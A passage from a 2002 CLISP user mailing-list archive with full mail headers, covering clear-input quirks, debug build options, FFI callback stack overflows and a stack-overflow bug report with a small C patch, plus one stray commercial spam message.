*hinstance* (init-gdi)) Following is the c code that is executed for initialization: DEFVAR(functions,`nil`) DEFVAR(localCons,`nil`) DEFVAR(onCreate,`nil`) DEFUN( GDI:INITC, h f) { O(localCons) = allocate_cons(); O(onCreate) = popSTACK(); O(functions) = popSTACK(); value1 = allocate_fpointer(GetModuleHandle(0)); mv_count=1; return; } From hsusteve20007320c86@yahoo.com.tw Wed Nov 06 20:11:11 2002 Received: from 200-207-41-48.dsl.telesp.net.br ([200.207.41.48] helo=yahoo.com.tw) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 189e0Z-00083o-00 for ; Wed, 06 Nov 2002 20:11:09 -0800 Reply-To: Message-ID: <004c77b83a5d$1473c6c7$3ad32da2@bunyfg> From: To: MiME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: eGroups Message Poster Importance: Normal Subject: [clisp-list] ADV: Reduce Operating Cost by 30% Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 6 20:12:02 2002 X-Original-Date: Thu, 07 Nov 2002 05:07:04 -0100 Do you have an online business

Do you have an online business?  Want to increase your sales by expanding your business over different regions of the world, and at the same time reduce your operating cost?  To accomplish that, you need to have a real-time transaction and payment processing system that features:

q       High security protection

q       Multi-lingual Support

q       Multi-currency Support

q       Under 10% Service Fee

q       Accept Multiple Major Credit Cards

I can provide you free information on how to apply and setup a complete real-time transaction and payment processing system free of charge.  I mean No Setup Fee, and No Monthly or Annual Fee.  If you are interested, please contact me at hsusteve2000@hotmail.com

¡@

Steve Hsu

8127 Plaza St.

Sunnyvale, CA  94086

¡@

Please click here to remove from the mailing list.

 

 

 

From don-sourceforge@isis.cs3-inc.com Fri Nov 08 21:30:14 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18AOCD-0006ki-00 for ; Fri, 08 Nov 2002 21:30:13 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id gA95TGI17043 for clisp-list@lists.sourceforge.net; Fri, 8 Nov 2002 21:29:16 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15820.40235.842441.597374@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] clear-input not working from dos box? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 8 21:31:01 2002 X-Original-Date: Fri, 8 Nov 2002 21:29:15 -0800 I'm running clisp 2.30 on a windows machine from a shortcut that starts it in a command prompt. When I ran from emacs I think this worked, but from the command prompt it doesn't. I can do something like (list (read)(read)(clear-input)(read)) then type (on one line) 2 3 4 5 and I get back (2 3 nil 4) I trace read and clear-input and see output like this: ... trace: (clear-input) ==> nil trace: (read) trace: (read) ==> 4 ... I also tried programming my own clear-input using listen but listen seems to return nil even when I think it should return t. Does this happen to anyone else out there? From kaz@footprints.net Sat Nov 09 09:13:14 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18AZAY-0006YJ-00 for ; Sat, 09 Nov 2002 09:13:14 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18AZAM-0000JM-00; Sat, 09 Nov 2002 09:13:02 -0800 From: Kaz Kylheku To: Don Cohen cc: clisp-list@lists.sourceforge.net In-Reply-To: <15820.40235.842441.597374@isis.cs3-inc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: clear-input not working from dos box? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 9 09:14:02 2002 X-Original-Date: Sat, 9 Nov 2002 09:13:02 -0800 (PST) On Fri, 8 Nov 2002, Don Cohen wrote: > Subject: [clisp-list] clear-input not working from dos box? > > I'm running clisp 2.30 on a windows machine from a shortcut that > starts it in a command prompt. When I ran from emacs I think this > worked, but from the command prompt it doesn't. > I can do something like > (list (read)(read)(clear-input)(read)) > then type (on one line) > 2 3 4 5 > and I get back (2 3 nil 4) > I trace read and clear-input and see output like this: This is probably because CLISP is reading your terminal input in character-at-a-time mode. So the read of 3 completes as soon as the space character is read in, and no additional characters are buffered from the operating system. No characters buffered means that there is nothing to discard. This is how CLISP behaves on Unix. Anyway, clear-input and its ilk are braindamaged. You are telling the machine to throw away data. There is no protocol for doing this right, so the software is likely to irritate the user who types ahead the computer's response, due to network lag or delays in the program itself that create uncertainties in what exactly is discarded. If I'm typing ahead, and the machine tries to discard input, it's possible that some of the typed-ahead characters remain, because they were still arriving to the machine *after* the clear operation executed. It's a race; there is no end to end synchronization to bring about any agreement about how much is discarded. So to get reliable behavior, I'm going to have to train myself to wait for the appearance of the input prompt before typing anything, because that prompt is the only thing that tells me that the software has already tried to throw away my input, and is truly ready now to receive it! Because I'm a fast typist who can type entire lines of correct input to a lagged system, this will irritate me to the point that I will throw the program away. Note the large comment in the CLHS example for clear-input: ;; The exact I/O behavior of this example might vary from implementation ;; to implementation depending on the kind of interactive buffering that ;; occurs. (The call to SLEEP here is intended to help even out the ;; differences in implementations which do not do line-at-a-time buffering.) So clear-input is an interface that gives you access to who knows what sort of platform-specific functionality. From don-sourceforge@isis.cs3-inc.com Sat Nov 09 09:48:55 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18AZj5-00074X-00 for ; Sat, 09 Nov 2002 09:48:55 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id gA9Hls022641; Sat, 9 Nov 2002 09:47:54 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15821.19018.84572.322719@isis.cs3-inc.com> To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <15820.40235.842441.597374@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] Re: clear-input not working from dos box? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 9 09:49:03 2002 X-Original-Date: Sat, 9 Nov 2002 09:47:54 -0800 Kaz Kylheku writes: > On Fri, 8 Nov 2002, Don Cohen wrote: > > I can do something like > > (list (read)(read)(clear-input)(read)) > > then type (on one line) > > 2 3 4 5 > > and I get back (2 3 nil 4) > > I trace read and clear-input and see output like this: > > This is probably because CLISP is reading your terminal input in > character-at-a-time mode. So the read of 3 completes as soon as the > space character is read in, and no additional characters are buffered > from the operating system. No characters buffered means that there is > nothing to discard. This is how CLISP behaves on Unix. The trace output for read and clear-input clearly shows that this was NOT the case. > Anyway, clear-input and its ilk are braindamaged. You are telling the > machine to throw away data. There is no protocol for doing this right, > so the software is likely to irritate the user who types ahead the > computer's response, due to network lag or delays in the program > itself that create uncertainties in what exactly is discarded... I disagree. I think the CL designers knew what they were doing. I admit that there are plenty of race conditions, but clear-input is very useful for reducing certain errors. It's useful precisely when type ahead is very likely to be wrong or dangerous. I was using it in a quiz program. The program asks a question and then reads the answer. You can't know the answer until the question appears. On the other hand, if you type more answer than expected, you're likely to be annoyed by the left over being interpreted as the answer to the next question. From dan.stanger@ieee.org Sun Nov 10 06:46:30 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18AtM6-0005Wr-00 for ; Sun, 10 Nov 2002 06:46:30 -0800 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #3) id 18AtM2-0007Aq-00 for clisp-list@lists.sourceforge.net; Sun, 10 Nov 2002 07:46:26 -0700 Message-ID: <3DCE7154.1E79A193@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Compile and Debugging options Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 10 06:47:01 2002 X-Original-Date: Sun, 10 Nov 2002 07:46:44 -0700 Is there a document, it the clisp distribution that covers the various safety and debugging options available for clisp compilation? Thanks, Dan Stanger From dan.stanger@ieee.org Sun Nov 10 07:20:32 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Att2-0006df-00 for ; Sun, 10 Nov 2002 07:20:32 -0800 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #3) id 18Atsz-0007Bi-00 for clisp-list@lists.sourceforge.net; Sun, 10 Nov 2002 08:20:29 -0700 Message-ID: <3DCE794F.8A572C3A@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Question about begin_callback()/end_callback() Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 10 07:21:02 2002 X-Original-Date: Sun, 10 Nov 2002 08:20:47 -0700 I am having a problem with my gdi module, in particular, a lisp stack overflow. The problem occurs when a window is created, which causes a callback into clisp. The flow of control is roughly: create window which enters a microsoft dll. windowproc my subroutine which is called by the microsoft dll funcall which calls the lisp oncreate function. The funcall causes the lisp stack overflow. Do I need to add a begin_callback()/end_callback() around the funcall? This code worked on 2.28, but fails on 2.29/2.30. Could this be the problem? Thanks, Dan Stanger From sds@gnu.org Sun Nov 10 09:05:04 2002 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18AvWC-0002fH-00 for ; Sun, 10 Nov 2002 09:05:04 -0800 Received: from loiso.podval.org ([151.203.42.207]) by pop018.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021110170456.PYUN1896.pop018.verizon.net@loiso.podval.org>; Sun, 10 Nov 2002 11:04:56 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gAAH68wQ017940; Sun, 10 Nov 2002 12:06:08 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gAAH68x6017936; Sun, 10 Nov 2002 12:06:08 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: dan.stanger@ieee.org Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Compile and Debugging options References: <3DCE7154.1E79A193@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DCE7154.1E79A193@ieee.org> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop018.verizon.net from [151.203.42.207] at Sun, 10 Nov 2002 11:04:56 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 10 09:06:02 2002 X-Original-Date: 10 Nov 2002 12:06:07 -0500 > * In message <3DCE7154.1E79A193@ieee.org> > * On the subject of "[clisp-list] Compile and Debugging options" > * Sent on Sun, 10 Nov 2002 07:46:44 -0700 > * Honorable Dan Stanger writes: > > Is there a document, it the clisp distribution that covers the various > safety and debugging options available for clisp compilation? configure builds CLISP with SAFETY=0 and gcc -O2 --with-debug means SAFETY=3 and gcc -g. see lispbibl.d for the meaning of SAFETY: basically it enables various run-time consistency checks that make CLISP crash earlier when it will eventually crash due to a bug. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Those who can laugh at themselves will never cease to be amused. From sds@gnu.org Sun Nov 10 09:11:29 2002 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18AvcP-0004BV-00 for ; Sun, 10 Nov 2002 09:11:29 -0800 Received: from loiso.podval.org ([151.203.42.207]) by out001.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021110171122.VKDT3265.out001.verizon.net@loiso.podval.org>; Sun, 10 Nov 2002 11:11:22 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gAAHCYwQ017954; Sun, 10 Nov 2002 12:12:34 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gAAHCY4K017950; Sun, 10 Nov 2002 12:12:34 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: dan.stanger@ieee.org Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Question about begin_callback()/end_callback() References: <3DCE794F.8A572C3A@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DCE794F.8A572C3A@ieee.org> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out001.verizon.net from [151.203.42.207] at Sun, 10 Nov 2002 11:11:22 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 10 09:12:03 2002 X-Original-Date: 10 Nov 2002 12:12:34 -0500 > * In message <3DCE794F.8A572C3A@ieee.org> > * On the subject of "[clisp-list] Question about begin_callback()/end_callback()" > * Sent on Sun, 10 Nov 2002 08:20:47 -0700 > * Honorable Dan Stanger writes: > > The funcall causes the lisp stack overflow. try replacing the lisp function with something trivial. > Do I need to add a begin_callback()/end_callback() around the funcall? I think so. see lisp_completion() in stream.d which does a call back. > This code worked on 2.28, but fails on 2.29/2.30. Could this be the > problem? there is _very_ little difference between 2.28 and 2.29. if indeed the problem is a change in CLISP, you can pinpoint it by doing a binary search on CVS (build 2.28, make sure it works, do cvs co -D 2002-06-01 and check whether it breaks &c). If you have a reasonably modern machine, this is 20 minutes to write the script and then run the script at most 8 times. You will be done by the end of the day (and "human time" cost will be about 40 minutes) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Bus error -- driver executed. From schwartz@bio.cse.psu.edu Sun Nov 10 11:59:31 2002 Received: from galapagos.cse.psu.edu ([130.203.12.17]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18AyF0-0002f6-00 for ; Sun, 10 Nov 2002 11:59:30 -0800 Received: (qmail 2165 invoked by uid 991); 10 Nov 2002 19:59:28 -0000 Message-ID: <20021110195928.2164.qmail@g.bio.cse.psu.edu> To: clisp-list@lists.sourceforge.net cc: schwartz@bio.cse.psu.edu From: Scott Schwartz Subject: [clisp-list] bug report: 2.30 writes garbage to stdout Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 10 12:00:01 2002 X-Original-Date: Sun, 10 Nov 2002 14:59:28 -0500 Friends, Consider the following: ---------------------- bash% uname -a Linux foo 2.2.19 #1 Wed Mar 20 19:41:41 EST 2002 i586 unknown bash% clisp --version GNU CLISP 2.30 (released 2002-09-15) (built 3245891238) (memory 3245895182) Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 UNIX) bash% cat foo.cl (defun x () (x)) (x) bash% clisp foo.cl 2>/dev/null : illegal character #\Null[1]> *** - READ from #: illegal character #\Null[3]> *** - READ from #: illegal character #\Null[5]> *** - READ from #: illegal character #\Null[7]> *** - READ from #: illegal character #\Null[9]> *** - READ from #: illegal character #\Null[11]> *** - READ from #: illegal character #\Null[13]> *** - READ from #: illegal character #\Null[15]> ---------------------- This exhibits several horrible defects in clisp. It should print an error message (about stack overflow) to standard error and then simply exit. Instead.... First, in a non-interactive setting, it jumps into an interactive break loop. Second, it writes garbage to standard output. No runtime system can ever be allowed to do that. Third, the break loop reads from standard input. No runtime system can ever be allowed to do that. Standard input and output are for the user's program, and are generally connected to other programs by shell pipelines. I'm not subscribed to clisp-list, so please cc any replies. From sds@gnu.org Sun Nov 10 16:06:38 2002 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18B26A-0001a4-00 for ; Sun, 10 Nov 2002 16:06:38 -0800 Received: from loiso.podval.org ([151.203.42.207]) by pop018.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021111000630.SAXN1896.pop018.verizon.net@loiso.podval.org>; Sun, 10 Nov 2002 18:06:30 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gAB07kwQ022202; Sun, 10 Nov 2002 19:07:47 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gAB07kKD022198; Sun, 10 Nov 2002 19:07:46 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Scott Schwartz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bug report: 2.30 writes garbage to stdout References: <20021110195928.2164.qmail@g.bio.cse.psu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20021110195928.2164.qmail@g.bio.cse.psu.edu> Message-ID: Lines: 64 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop018.verizon.net from [151.203.42.207] at Sun, 10 Nov 2002 18:06:30 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 10 16:07:02 2002 X-Original-Date: 10 Nov 2002 19:07:45 -0500 > * In message <20021110195928.2164.qmail@g.bio.cse.psu.edu> > * On the subject of "[clisp-list] bug report: 2.30 writes garbage to stdout" > * Sent on Sun, 10 Nov 2002 14:59:28 -0500 > * Honorable Scott Schwartz writes: > > bash% clisp foo.cl 2>/dev/null *** - Lisp stack overflow. RESET > > *** - READ from #: illegal character #\Null[1]> of course: NULL (which is what is read from /dev/zero) is an illegal char. > This exhibits several horrible defects in clisp. It should print an > error message (about stack overflow) to standard error and then simply > exit. well, this is what CLISP usually does. stack overflow appears to be different. please try the appended patch. > Second, it writes garbage to standard output. No runtime system can > ever be allowed to do that. you gave a bad stdin. > Third, the break loop reads from standard input. where a break loop should read from?! > I'm not subscribed to clisp-list, so please cc any replies. I cannot guarantee that everyone who replies to your message will do your bidding. gmane.org is your friend. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Every day above ground is a good day. --- spvw.d.~1.204.~ 2002-11-01 13:09:51.000000000 -0500 +++ spvw.d 2002-11-10 19:04:24.000000000 -0500 @@ -474,11 +474,17 @@ # At overflow of one of the stacks: nonreturning_function(global, SP_ueber, (void)) { asciz_out(GETTEXTL(NLstring "*** - " "Program stack overflow. RESET")); + if (interactive_stream_p(Symbol_value(S(debug_io)))) reset(); + /* non-interactive session: quit */ + else { asciz_out(NLstring); final_exitcode=1; quit(); } } nonreturning_function(global, STACK_ueber, (void)) { asciz_out(GETTEXTL(NLstring "*** - " "Lisp stack overflow. RESET")); + if (interactive_stream_p(Symbol_value(S(debug_io)))) reset(); + /* non-interactive session: quit */ + else { asciz_out(NLstring); final_exitcode=1; quit(); } } # ---------------------------------------------------------------------------- From schwartz@bio.cse.psu.edu Sun Nov 10 17:48:21 2002 Received: from galapagos.cse.psu.edu ([130.203.12.17]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18B3ga-0005ud-00 for ; Sun, 10 Nov 2002 17:48:20 -0800 Received: (qmail 3595 invoked by uid 991); 11 Nov 2002 01:48:18 -0000 Message-ID: <20021111014818.3594.qmail@g.bio.cse.psu.edu> To: sds@gnu.org cc: schwartz@bio.cse.psu.edu cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bug report: 2.30 writes garbage to stdout In-Reply-To: Message from Sam Steingold of "10 Nov 2002 19:07:45 EST." From: Scott Schwartz Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 10 17:49:03 2002 X-Original-Date: Sun, 10 Nov 2002 20:48:18 -0500 | > * In message <20021110195928.2164.qmail@g.bio.cse.psu.edu> | > * On the subject of "[clisp-list] bug report: 2.30 writes garbage to stdout" | > * Sent on Sun, 10 Nov 2002 14:59:28 -0500 | > * Honorable Scott Schwartz writes: | > | > bash% clisp foo.cl 2>/dev/null /dev/null | wc if you prefer. | > *** - Lisp stack overflow. RESET | > | > *** - READ from #: illegal character #\Null[1]> | | of course: NULL (which is what is read from /dev/zero) is an illegal char. It should not be reading *any* characters! There should be *no* break loop in this situation! That to the side, ASCII NUL is *not* an illegal character. It's perfectly valid, just like any other. And what's this "*terminal-io*" stuff? There is no terminal, and no user, in the example I gave. | well, this is what CLISP usually does. | stack overflow appears to be different. | please try the appended patch. It looks wrong to me. nonreturning_function(global, SP_ueber, (void)) { asciz_out(GETTEXTL(NLstring "*** - " "Program stack overflow. RESET")); + if (interactive_stream_p(Symbol_value(S(debug_io)))) reset(); + /* non-interactive session: quit */ + else { asciz_out(NLstring); final_exitcode=1; quit(); } } That still unconditionally spews garbage "*** - " "Program stack overflow. RESET" to stdout. How many other places does that happen? What does clisp think an interactive stream is, and why is that relevent? You might want your debugger to be talking over a socket, right? Why is debug_io open at all? In general there is no file descriptor that it could possibly be connected to. Inside of a special development repl is the only time this could make sense. | > Second, it writes garbage to standard output. No runtime system can | > ever be allowed to do that. | | you gave a bad stdin. No I didn't! The initial "*** - Lisp stack overflow. RESET" message was printed to stdout without reading anything from stdin. That's totally unsolicited, and totally erroneous. In any case, "you gave bad stdin" is no excuse. The runtime system is not allowed to write garbage down my pipes! That's what standard error is for! | > Third, the break loop reads from standard input. | | where a break loop should read from?! It can't. The concept doesn't make sense, unless you are talking to a user in a user-requested debugging situation. In general, every open file descriptor is connected to another program, with no user in sight. If you run clisp with the (hypothetical) --interactive-development flag, then you can have your debugger read from (user specified) somewhere. (Maybe /dev/tty, maybe /dev/stdin, maybe something else.) Otherwise, don't touch anything. There is no console. There is no user. Just exit. It's like those times when you see DOS-based Kiosks and other non-interactive appliances with "keyboard error, strike any key to continue" messages on the display. From ampy@ich.dvo.ru Mon Nov 11 03:12:26 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BCUP-0001QB-00 for ; Mon, 11 Nov 2002 03:12:21 -0800 Received: from 212.16.216.82 ([212.16.216.82]) by vtc.ru (8.12.6/8.12.6) with ESMTP id gABBB02d029244; Mon, 11 Nov 2002 21:11:09 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1802873351.20021111171624@ich.dvo.ru> To: Sam Steingold CC: "clisp-list@lists.sourceforge.net" Subject: Re[2]: [clisp-list] Compile and Debugging options In-reply-To: References: <3DCE7154.1E79A193@ieee.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 03:13:03 2002 X-Original-Date: Mon, 11 Nov 2002 17:16:24 +1000 Hello Sam, Monday, November 11, 2002, 3:06:07 AM, you wrote: >> Is there a document, it the clisp distribution that covers the various >> safety and debugging options available for clisp compilation? > configure builds CLISP with SAFETY=0 and gcc -O2 > --with-debug means SAFETY=3 and gcc -g. Did you ever build clisp with cygwin & gcc & --with-debug ? It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted' (this is cygwin bug or limitation). I investigated cygwin-list and this problem seems quite old. Dan, please tell if you'll successfully build with-debug. -- Best regards, Arseny From Joerg-Cyril.Hoehle@t-systems.com Mon Nov 11 04:37:45 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BDp1-0005jj-00 for ; Mon, 11 Nov 2002 04:37:43 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 11 Nov 2002 13:37:34 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 11 Nov 2002 13:37:33 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: dan.stanger@ieee.org Subject: [clisp-list] Question about begin_callback()/end_callback() MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 04:38:03 2002 X-Original-Date: Mon, 11 Nov 2002 13:37:25 +0100 Dan Stanger wrote: >The flow of control is roughly: >create window which enters a microsoft dll. >windowproc my subroutine which is called 